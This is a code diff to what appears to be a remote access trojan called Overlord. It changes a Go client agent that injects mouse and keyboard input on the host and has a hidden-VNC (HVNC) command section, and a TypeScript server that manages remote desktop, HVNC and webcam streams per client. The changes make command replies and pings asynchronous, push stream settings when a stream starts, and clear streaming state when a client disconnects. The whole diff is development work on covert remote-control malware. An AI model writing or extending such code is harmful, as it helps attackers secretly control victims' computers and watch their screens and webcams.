diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 376dc11..6c082b8 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -354,6 +354,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri } } +func sendCommandResultAsync(env *runtime.Env, cmdID string) { + go sendCommandResultSafe(env, cmdID, true, "") +} + func payloadNumberToInt64(value interface{}) int64 { switch v := value.(type) { case int: @@ -754,7 +758,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil case "desktop_mouse_move": if !env.MouseControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) @@ -762,11 +766,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y, _ := payloadInt32(payload, "y") absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) setCursorPos(absX, absY) - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil case "desktop_mouse_down": if !env.MouseControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) @@ -778,11 +782,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } sendMouseDown(btn) - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil case "desktop_mouse_up": if !env.MouseControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) @@ -794,11 +798,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } sendMouseUp(btn) - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil case "desktop_key_down": if !env.KeyboardControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) @@ -812,11 +816,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("desktop: key down code=%s vk=%d", code, vk) sendKeyDown(vk) } - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil case "desktop_key_up": if !env.KeyboardControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) @@ -830,11 +834,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("desktop: key up code=%s vk=%d", code, vk) sendKeyUp(vk) } - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil case "desktop_text": if !env.KeyboardControl { - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) @@ -848,7 +852,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("desktop: text input len=%d", len(text)) sendTextInput(text) } - sendCommandResultSafe(env, cmdID, true, "") + sendCommandResultAsync(env, cmdID) return nil // ==================== HVNC COMMANDS ==================== diff --git a/Overlord-Client/cmd/agent/handlers/ping.go b/Overlord-Client/cmd/agent/handlers/ping.go index e7b2cb3..f5df9fb 100644 --- a/Overlord-Client/cmd/agent/handlers/ping.go +++ b/Overlord-Client/cmd/agent/handlers/ping.go @@ -15,10 +15,11 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter ts = time.Now().UnixMilli() } pong := wire.Pong{Type: "pong", TS: ts} - if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil { - log.Printf("ping: failed to send pong: %v", err) - return err - } + go func() { + if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil { + log.Printf("ping: failed to send pong: %v", err) + } + }() return nil } diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 0155b79..e91cb7e 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -296,6 +296,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); } sendCmd("desktop_start", {}); + pushInputToggles(); + pushCaptureToggles(); + if (qualitySlider) pushQuality(qualitySlider.value); + pushResolution(); } else { setStreamState("idle", "Stopped"); } diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 225c9eb..9a5d8d0 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -729,6 +729,9 @@ export function handleWebSocketClose( setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail); deps.clearPendingNotificationScreenshots(clientId); deps.clearClientPluginState(clientId); + deps.rdStreamingState.delete(clientId); + deps.hvncStreamingState.delete(clientId); + deps.webcamStreamingState.delete(clientId); deps.notifyDashboard(); logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);